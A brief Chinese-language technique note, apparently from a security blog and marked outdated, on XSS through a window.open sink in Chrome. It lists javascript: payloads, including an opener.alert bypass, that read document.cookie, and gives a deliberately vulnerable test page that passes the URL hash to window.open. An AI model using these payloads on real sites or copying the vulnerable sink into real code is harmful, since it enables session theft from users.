windows.open xss的利用技巧（过时）

chrome之前window.open的sink点存在xss的话，直接javascript:alert(document.cookie)不会弹出cookie。

当时解决方案是javascript:opener.alert(document.cookie)这样绕过了。

但是现在chrome可以通过javascript:alert(document.cookie)直接打cookie了。

```
http://127.0.0.1/test.html#javascript:alert(document.cookie)

window.open('javascript:alert(document.cookie)')
window.open('javascript:alert(document.cookie)', '_blank')
window.open('javascript:opener.alert(document.cookie)')
window.open('javascript:opener.alert(document.cookie)', '_blank')

```

test.html

```
<html>
  <script>
const hashValue = window.location.hash.substring(1);
window.open(hashValue);
  <script>
<html>
```